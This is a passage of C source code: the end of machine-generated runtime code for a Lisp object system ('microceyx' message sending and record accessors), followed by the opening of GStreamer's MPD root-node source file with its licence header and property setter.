(GYmicroceyx[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_166() { /* 104 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 4; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_172() { /* omakeq */ { register Ptr aRet, rSp, rA1, rNil; rSp = GIsp; rA1 = GIa1; rNil = GInil; GIa4 = (rA1 + 1)->Val; rA1 = rA1->Val; (--rSp)->Val = rA1; (--rSp)->Val = GIa4; (--rSp)->Val = rNil; (--rSp)->Val = rNil; (--rSp)->Val = rNil; GIa2 = rA1; rA1 = GYmicroceyx[74]; (--rSp)->Val = ((Ptr) GLmicroceyx_174); {aRet = ((Ptr) GLmicroceyx_1); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_174() { /* call_microceyx_173 */ { register Ptr aRet; (GIsp + 4)->Val = GIa1; {aRet = ((Ptr) GLmicroceyx_175); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_175() { /* 101 */ { register Ptr aRet, rSp, rA3; rSp = GIsp; rA3 = GIa3; if ((long) (rSp + 3)->Val < (long) GIbcons) {aRet = ((Ptr) GLmicroceyx_176); goto lRet;} rA3 = (rSp + 3)->Val; (rSp + 3)->Val = (rA3 + 1)->Val; rA3 = rA3->Val; GIa2 = (rSp + 4)->Val; GIa1 = GYmicroceyx[74]; (--rSp)->Val = ((Ptr) GLmicroceyx_178); {aRet = ((Ptr) GLmicroceyx_15); goto lRet;} lRet: GIsp = rSp; GIa3 = rA3; return (aRet);}} static Ptr GLmicroceyx_178() { /* call_microceyx_177 */ { register Ptr aRet, *rLit, rSp, rA1, rA4; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA4 = GIa4; (rSp + 1)->Val = rA1; if ((long) (rSp + 3)->Val >= (long) GIbcons) goto l_104; if ((rSp + 3)->Val != GInil) goto l_105; GIa2 = rLit[76]; goto l_106; l_105: GIa2 = rLit[77]; l_106: GIa3 = (rSp + 3)->Val; rA1 = rLit[74]; GIsp = rSp; GIa1 = rA1; GIa4 = rA4; rA1 = llrt_call_error (); l_104: rA4 = (rSp + 3)->Val; rSp->Val = rA4->Val; (rSp + 3)->Val = (rA4 + 1)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_179); (--rSp)->Val = ((Ptr) GLmicroceyx_180); {register Ptr aux; aux = (rSp + 6)->Val; (--rSp)->Val = aux;} {register Ptr aux; aux = (rSp + 4)->Val; (--rSp)->Val = aux;} rA4 = (Ptr) 2; {aRet = (rLit[6] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_180() { /* 108 */ { register Ptr aRet, *rLit, rSp; rLit = GYmicroceyx; rSp = GIsp; (--rSp)->Val = GIa1; (--rSp)->Val = rLit[78]; {register Ptr aux; aux = (rSp + 3)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 3; {aRet = (rLit[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_179() { /* 107 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; GIa2 = (rSp + 2)->Val; GIa1 = rA1; rA1 = llrt_cons (rA1, GIa2); (rSp + 2)->Val = rA1; {aRet = ((Ptr) GLmicroceyx_175); goto lRet;} lRet: GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_176() { /* 102 */ { register Ptr aRet, *rLit, rSp, rA1; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; if ((rSp + 3)->Val == GInil) goto l_110; GIa3 = (rSp + 3)->Val; GIa2 = rLit[77]; rA1 = rLit[74]; GIsp = rSp; GIa1 = rA1; rA1 = llrt_call_error (); l_110: (--rSp)->Val = ((Ptr) GXpopj5); (--rSp)->Val = rLit[79]; (--rSp)->Val = ((Ptr) GLmicroceyx_181); (--rSp)->Val = ((Ptr) GLmicroceyx_182); (--rSp)->Val = rLit[78]; (--rSp)->Val = ((Ptr) GLmicroceyx_183); GIa2 = rLit[28]; rA1 = (rSp + 10)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_185); {aRet = (rLit[11] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_185() { /* call_microceyx_184 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 1; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_183() { /* 114 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_182() { /* 113 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 1; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_181() { /* 112 */ { register Ptr aRet, *rLit, rSp, rA1; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; (--rSp)->Val = rA1; (--rSp)->Val = ((Ptr) GLmicroceyx_186); rA1 = (rSp + 6)->Val; rA1 = llrt_call_nreverse (rA1, GIbcons); (--rSp)->Val = rA1; (--rSp)->Val = rLit[80]; GIa4 = (Ptr) 2; {aRet = (rLit[31] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_186() { /* 115 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 3; {aRet = (GYmicroceyx[16] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_187() { /* ogetq */ { register Ptr aRet, rSp, rA1, rA3, rA4; rSp = GIsp; rA1 = GIa1; rA3 = GIa3; rA4 = GIa4; rA4 = (rA1 + 1)->Val; rA1 = rA1->Val; (--rSp)->Val = rA1; rA3 = (rA4 + 1)->Val; rA4 = rA4->Val; (--rSp)->Val = rA4; rA3 = rA3->Val; (--rSp)->Val = rA3; GIa2 = rA1; rA1 = GYmicroceyx[81]; (--rSp)->Val = ((Ptr) GLmicroceyx_189); {aRet = ((Ptr) GLmicroceyx_1); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa3 = rA3; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_189() { /* call_microceyx_188 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; (rSp + 2)->Val = rA1; GIa3 = (rSp + 1)->Val; GIa2 = rA1; rA1 = GYmicroceyx[81]; (--rSp)->Val = ((Ptr) GLmicroceyx_191); {aRet = ((Ptr) GLmicroceyx_15); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_191() { /* call_microceyx_190 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; (rSp + 1)->Val = rA1; (--rSp)->Val = ((Ptr) GXpopj3); (--rSp)->Val = ((Ptr) GLmicroceyx_192); {register Ptr aux; aux = (rSp + 4)->Val; (--rSp)->Val = aux;} (--rSp)->Val = rA1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[6] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_192() { /* 102 */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = GIa1; {register Ptr aux; aux = (rSp + 2)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_193() { /* oputq */ { register Ptr aRet, rSp, rA1, rA2, rA3, rA4; rSp = GIsp; rA1 = GIa1; rA2 = GIa2; rA3 = GIa3; rA4 = GIa4; rA4 = (rA1 + 1)->Val; rA1 = rA1->Val; (--rSp)->Val = rA1; rA3 = (rA4 + 1)->Val; rA4 = rA4->Val; (--rSp)->Val = rA4; rA2 = (rA3 + 1)->Val; rA3 = rA3->Val; (--rSp)->Val = rA3; rA2 = rA2->Val; (--rSp)->Val = rA2; rA2 = rA1; rA1 = GYmicroceyx[82]; (--rSp)->Val = ((Ptr) GLmicroceyx_195); {aRet = ((Ptr) GLmicroceyx_1); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa2 = rA2; GIa3 = rA3; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_195() { /* call_microceyx_194 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; (rSp + 3)->Val = rA1; GIa3 = (rSp + 2)->Val; GIa2 = rA1; rA1 = GYmicroceyx[82]; (--rSp)->Val = ((Ptr) GLmicroceyx_197); {aRet = ((Ptr) GLmicroceyx_15); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_197() { /* call_microceyx_196 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; (rSp + 2)->Val = rA1; (--rSp)->Val = ((Ptr) GXpopj4); (--rSp)->Val = ((Ptr) GLmicroceyx_198); {register Ptr aux; aux = (rSp + 5)->Val; (--rSp)->Val = aux;} (--rSp)->Val = rA1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[6] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_198() { /* 102 */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = GIa1; {register Ptr aux; aux = (rSp + 3)->Val; (--rSp)->Val = aux;} {register Ptr aux; aux = (rSp + 3)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 3; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_199() { /* omatchq */ { register Ptr aRet, rSp, rA1, rA4; rSp = GIsp; rA1 = GIa1; rA4 = GIa4; rA4 = (rA1 + 1)->Val; rA1 = rA1->Val; (--rSp)->Val = rA1; rA4 = rA4->Val; (--rSp)->Val = rA4; GIa2 = rA1; rA1 = GYmicroceyx[83]; (--rSp)->Val = ((Ptr) GLmicroceyx_201); {aRet = ((Ptr) GLmicroceyx_11); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_201() { /* call_microceyx_200 */ { register Ptr aRet, *rLit, rSp, rA1; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; (rSp + 1)->Val = rA1; (--rSp)->Val = ((Ptr) GXpopj2); (--rSp)->Val = rLit[84]; {register Ptr aux; aux = (rSp + 2)->Val; (--rSp)->Val = aux;} (--rSp)->Val = ((Ptr) GLmicroceyx_202); (--rSp)->Val = rLit[18]; (--rSp)->Val = rA1; GIa4 = (Ptr) 2; {aRet = (rLit[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_202() { /* 102 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 3; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_203() { /* demethod */ { register Ptr aRet, *rLit, rSp, rA1, rA2, rA3, rA4; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA2 = GIa2; rA3 = GIa3; rA4 = GIa4; rA4 = (rA1 + 1)->Val; rA1 = rA1->Val; (--rSp)->Val = rA1; rA3 = (rA4 + 1)->Val; rA4 = rA4->Val; rA2 = (rA4 + 1)->Val; rA4 = rA4->Val; (--rSp)->Val = rA4; (--rSp)->Val = rA2; (--rSp)->Val = (rA3 + 1)->Val; rA3 = rA3->Val; (--rSp)->Val = rA3; l_101: if (((rSp + 4)->Val >= GIbsymb) && ((rSp + 4)->Val < GIbcons)) goto l_102; rA3 = (rSp + 4)->Val; rA2 = rLit[72]; rA1 = rLit[85]; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; GIa3 = rA3; GIa4 = rA4; rA1 = llrt_call_error (); (rSp + 4)->Val = rA1; goto l_101; l_102: rA2 = (rSp + 4)->Val; rA2 = (rA2 + 3)->Val; rA1 = rLit[85]; (--rSp)->Val = ((Ptr) GLmicroceyx_205); {aRet = ((Ptr) GLmicroceyx_1); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa2 = rA2; GIa3 = rA3; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_205() { /* call_microceyx_204 */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = GIa1; GIa1 = (rSp + 1)->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_207); {aRet = (GYmicroceyx[86] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_207() { /* call_microceyx_206 */ { register Ptr aRet, *rLit, rSp, rA1, rA2, rNil; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA2 = GIa2; rNil = GInil; if (rA1 != rNil) goto l_104; GIa3 = (rSp + 1)->Val; rA2 = rLit[87]; rA1 = rLit[85]; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; rA1 = llrt_call_error (); l_104: (--rSp)->Val = ((Ptr) GXpopj6); (--rSp)->Val = rLit[27]; {register Ptr aux; aux = (rSp + 7)->Val; (--rSp)->Val = aux;} rA2 = (rSp + 6)->Val; rA1 = (rSp + 7)->Val; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; rA1 = llrt_cons (rA1, rA2); (--rSp)->Val = rA1; if ((rSp + 5)->Val != rNil) goto l_106; GIa4 = (rSp + 6)->Val; {aRet = ((Ptr) GLmicroceyx_208); goto lRet;} l_106: (--rSp)->Val = ((Ptr) GLmicroceyx_209); (--rSp)->Val = ((Ptr) GLmicroceyx_210); (--rSp)->Val = rLit[79]; {register Ptr aux; aux = (rSp + 8)->Val; (--rSp)->Val = aux;} (--rSp)->Val = rNil; {aRet = ((Ptr) GLmicroceyx_211); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa2 = rA2; return (aRet);}} static Ptr GLmicroceyx_211() { /* 110 */ { register Ptr aRet, rSp, rA4; rSp = GIsp; rA4 = GIa4; if ((long) (rSp + 1)->Val < (long) GIbcons) {aRet = ((Ptr) GLmicroceyx_212); goto lRet;} rA4 = (rSp + 1)->Val; (rSp + 1)->Val = (rA4 + 1)->Val; (--rSp)->Val = rA4->Val; GIa3 = rSp->Val; GIa2 = (rSp + 10)->Val; GIa1 = GYmicroceyx[85]; (--rSp)->Val = ((Ptr) GLmicroceyx_214); {aRet = ((Ptr) GLmicroceyx_15); goto lRet;} lRet: GIsp = rSp; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_214() { /* call_microceyx_213 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; rSp->Val = rA1; (--rSp)->Val = ((Ptr) GLmicroceyx_215); (--rSp)->Val = rA1; (--rSp)->Val = ((Ptr) GLmicroceyx_216); (--rSp)->Val = ((Ptr) GLmicroceyx_217); {register Ptr aux; aux = (rSp + 14)->Val; (--rSp)->Val = aux;} (--rSp)->Val = rA1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[6] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_217() { /* 114 */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = GIa1; {register Ptr aux; aux = (rSp + 18)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_216() { /* 113 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 2; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_215() { /* 112 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; rSp += (Fix) 1; GIa2 = rSp->Val; GIsp = rSp; GIa1 = rA1; rA1 = llrt_cons (rA1, GIa2); rSp->Val = rA1; {aRet = ((Ptr) GLmicroceyx_211); goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_212() { /* 111 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; rA1 = rSp->Val; rA1 = llrt_call_nreverse (rA1, GIbcons); rSp += (Fix) 2; (--rSp)->Val = rA1; {register Ptr aux; aux = (rSp + 10)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 3; {aRet = (GYmicroceyx[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_210() { /* 109 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 1; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_209() { /* 108 */ { register Ptr aRet; GIa4 = GIa1; {aRet = ((Ptr) GLmicroceyx_208); goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_208() { /* 107 */ { register Ptr aRet; (--GIsp)->Val = GIa4; GIa4 = (Ptr) 4; {aRet = (GYmicroceyx[16] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_218() { /* send-error */ { register Ptr aRet, *rLit, rSp, rA1; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; (--rSp)->Val = GIa2; (--rSp)->Val = rA1; (--rSp)->Val = ((Ptr) GLmicroceyx_219); (--rSp)->Val = rLit[88]; (--rSp)->Val = rA1; GIa4 = (Ptr) 2; {aRet = (rLit[6] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_219() { /* 101 */ { register Ptr aRet, *rLit, rSp, rA1, rA2; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA2 = GIa2; if (rA1 == GInil) goto l_102; (--rSp)->Val = ((Ptr) GXpopj2); (--rSp)->Val = rA1; {register Ptr aux; aux = (rSp + 3)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 2; {aRet = (rLit[89] + 2)->Val; goto lRet;} l_102: rA2 = (rSp + 1)->Val; rA1 = rSp->Val; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; rA1 = llrt_cons (rA1, rA2); GIa3 = rA1; rA2 = rLit[90]; rA1 = rLit[91]; rSp += (Fix) 2; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; rA1 = llrt_call_error (); {aRet = (rSp++)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa2 = rA2; return (aRet);}} static Ptr GLmicroceyx_220() { /* sendq */ { register Ptr aRet, *rLit, rSp, rA1, rA4; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA4 = GIa4; rA4 = (rA1 + 1)->Val; rA1 = rA1->Val; (--rSp)->Val = rA4; (--rSp)->Val = ((Ptr) GXpopj1); (--rSp)->Val = rLit[91]; (--rSp)->Val = ((Ptr) GLmicroceyx_221); (--rSp)->Val = rLit[18]; (--rSp)->Val = rA1; rA4 = (Ptr) 2; {aRet = (rLit[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_221() { /* 102 */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = GIa1; {register Ptr aux; aux = (rSp + 3)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 3; {aRet = (GYmicroceyx[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_222() { /* sendf */ { register Ptr aRet, *rLit, rSp, rA1, rA4; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA4 = GIa4; rA4 = (rA1 + 1)->Val; rA1 = rA1->Val; (--rSp)->Val = ((Ptr) GXpopj0); (--rSp)->Val = rLit[92]; (--rSp)->Val = rLit[93]; (--rSp)->Val = ((Ptr) GLmicroceyx_223); (--rSp)->Val = rLit[91]; (--rSp)->Val = rA1; (--rSp)->Val = rLit[94]; (--rSp)->Val = rA4; rA4 = (Ptr) 4; {aRet = (rLit[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_223() { /* 102 */ { register Ptr aRet; (--GIsp)->Val = GIa1; GIa4 = (Ptr) 3; {aRet = (GYmicroceyx[7] + 2)->Val; goto lRet;} lRet: return (aRet);}} static Ptr GLmicroceyx_224() { /* sendfq */ { register Ptr aRet, *rLit, rSp, rA1, rA4; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA4 = GIa4; rA4 = (rA1 + 1)->Val; rA1 = rA1->Val; (--rSp)->Val = rA4; (--rSp)->Val = ((Ptr) GXpopj1); (--rSp)->Val = rLit[95]; (--rSp)->Val = ((Ptr) GLmicroceyx_225); (--rSp)->Val = rLit[18]; (--rSp)->Val = rA1; rA4 = (Ptr) 2; {aRet = (rLit[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_225() { /* 102 */ { register Ptr aRet, rSp; rSp = GIsp; (--rSp)->Val = GIa1; {register Ptr aux; aux = (rSp + 3)->Val; (--rSp)->Val = aux;} GIa4 = (Ptr) 3; {aRet = (GYmicroceyx[16] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_226() { /* plink */ { register Ptr aRet, *rLit, rSp, rA1, rA2, rA4, rNil; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA2 = GIa2; rA4 = GIa4; rNil = GInil; if ((Fix) (rA4) >= (Fix) 1) goto l_101; rA1 = rLit[96]; rA2 = (Ptr) 1; {aRet = (rLit[97] + 2)->Val; goto lRet;} l_101: rA4 = (Ptr) ((UFix) ((Fix) (rA4) - (Fix) 1)); rA1 = rNil; goto l_nlist_microceyx_228; l_nlist_microceyx_227: rA2 = (rSp++)->Val; GIsp = rSp; GIa1 = rA1; GIa2 = rA2; GIa4 = rA4; rA1 = llrt_cons (rA2, rA1); l_nlist_microceyx_228: {register Fix aux; aux = (Fix) (rA4) - 1; rA4 = (Ptr) ((UFix) aux); if (aux >= 0) goto l_nlist_microceyx_227;} if (rA1 != rNil) {aRet = ((Ptr) GLmicroceyx_229); goto lRet;} rA1 = rSp->Val; (--rSp)->Val = ((Ptr) GLmicroceyx_231); {aRet = (rLit[12] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa2 = rA2; GIa4 = rA4; return (aRet);}} static Ptr GLmicroceyx_231() { /* call_microceyx_230 */ { register Ptr aRet, rSp, rA1; rSp = GIsp; rA1 = GIa1; if (rA1 == GInil) goto l_104; rA1 = rSp->Val; rSp += (Fix) 1; {aRet = (GYmicroceyx[13] + 2)->Val; goto lRet;} l_104: rA1 = rSp->Val; rSp += (Fix) 1; {aRet = (rSp++)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; return (aRet);}} static Ptr GLmicroceyx_229() { /* 102 */ { register Ptr aRet, rSp; rSp = GIsp; GIa2 = GIa1->Val; GIa1 = rSp->Val; rSp += (Fix) 1; {aRet = (GYmicroceyx[98] + 2)->Val; goto lRet;} lRet: GIsp = rSp; return (aRet);}} static Ptr GLmicroceyx_232() { /* <=p */ { register Ptr aRet, *rLit, rSp, rA1, rA4; rLit = GYmicroceyx; rSp = GIsp; rA1 = GIa1; rA4 = GIa4; rA4 = (rA1 + 1)->Val; rA1 = rA1->Val; rA4 = rA4->Val; (--rSp)->Val = ((Ptr) GXpopj0); (--rSp)->Val = rLit[69]; (--rSp)->Val = rA1; (--rSp)->Val = rA4; rA4 = (Ptr) 3; {aRet = (rLit[7] + 2)->Val; goto lRet;} lRet: GIsp = rSp; GIa1 = rA1; GIa4 = rA4; return (aRet);}} static Ptr GDmicroceyx_233() { /* trace deftclass */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,9,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_234() { /* trace defrecord */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,20,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_235() { /* trace tclass-namep */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,0,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_236() { /* trace record-namep */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,1,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_237() { /* trace field-list */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,71,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_238() { /* trace defmake */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,73,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_239() { /* trace omakeq */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,74,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_240() { /* trace ogetq */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,81,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_241() { /* trace oputq */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,82,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_242() { /* trace omatchq */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,83,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_243() { /* trace demethod */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,85,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_244() { /* trace send-error */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,101,99,102); lRet: return (aRet);}} static Ptr GDmicroceyx_245() { /* trace sendq */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,103,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_246() { /* trace sendf */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,95,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_247() { /* trace sendfq */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,104,99,100); lRet: return (aRet);}} static Ptr GDmicroceyx_248() { /* trace plink */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,96,99,105); lRet: return (aRet);}} static Ptr GDmicroceyx_249() { /* trace <=p */ { register Ptr aRet; aRet = llrt_jmpd (GYmicroceyx,106,99,100); lRet: return (aRet);}}
388230.c
/* GStreamer * * Copyright (C) 2019 Collabora Ltd. * Author: Stéphane Cerveau <[email protected]> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * */ #include "gstmpdrootnode.h" #include "gstmpdparser.h" G_DEFINE_TYPE (GstMPDRootNode, gst_mpd_root_node, GST_TYPE_MPD_NODE); enum { PROP_MPD_ROOT_0, PROP_MPD_ROOT_DEFAULT_NAMESPACE, PROP_MPD_ROOT_NAMESPACE_XSI, PROP_MPD_ROOT_NAMESPACE_EXT, PROP_MPD_ROOT_SCHEMA_LOCATION, PROP_MPD_ROOT_ID, PROP_MPD_ROOT_PROFILES, PROP_MPD_ROOT_TYPE, PROP_MPD_ROOT_PUBLISH_TIME, PROP_MPD_ROOT_AVAILABILTY_START_TIME, PROP_MPD_ROOT_AVAILABILTY_END_TIME, PROP_MPD_ROOT_MEDIA_PRESENTATION_DURATION, PROP_MPD_ROOT_MINIMUM_UPDATE_PERIOD, PROP_MPD_ROOT_MIN_BUFFER_TIME, PROP_MPD_ROOT_TIMESHIFT_BUFFER_DEPTH, PROP_MPD_ROOT_SUGGESTED_PRESENTATION_DELAY, PROP_MPD_ROOT_MAX_SEGMENT_DURATION, PROP_MPD_ROOT_MAX_SUBSEGMENT_DURATION, }; /* GObject VMethods */ static void gst_mpd_root_node_set_property (GObject * object, guint prop_id, const GValue * value, GParamSpec * pspec) { GstMPDRootNode *self = GST_MPD_ROOT_NODE (object); switch (prop_id) { case PROP_MPD_ROOT_DEFAULT_NAMESPACE: g_free (self->default_namespace); self->default_namespace = g_value_dup_string (value); break; case PROP_MPD_ROOT_NAMESPACE_XSI: g_free (self->namespace_xsi); self->namespace_xsi = g_value_dup_string (value); break; case PROP_MPD_ROOT_NAMESPACE_EXT: g_free (self->namespace_ext); self->namespace_ext = g_value_dup_string (value); break; case PROP_MPD_ROOT_SCHEMA_LOCATION: g_free (self->schemaLocation); self->schemaLocation = g_value_dup_string (value); break; case PROP_MPD_ROOT_ID: g_free (self->id); self->id = g_value_dup_string (value); break; case PROP_MPD_ROOT_PROFILES: g_free (self->profiles); self->profiles = g_value_dup_string (value); break; case PROP_MPD_ROOT_TYPE: self->type = (GstMPDFileType) g_value_get_int (value); break; case PROP_MPD_ROOT_AVAILABILTY_START_TIME: if (self->availabilityStartTime) gst_date_time_unref (self->availabilityStartTime); self->availabilityStartTime = g_value_get_boxed (value); break; case PROP_MPD_ROOT_AVAILABILTY_END_TIME: if (self->availabilityEndTime) gst_date_time_unref (self->availabilityEndTime); self->availabilityEndTime = g_value_get_boxed (value); 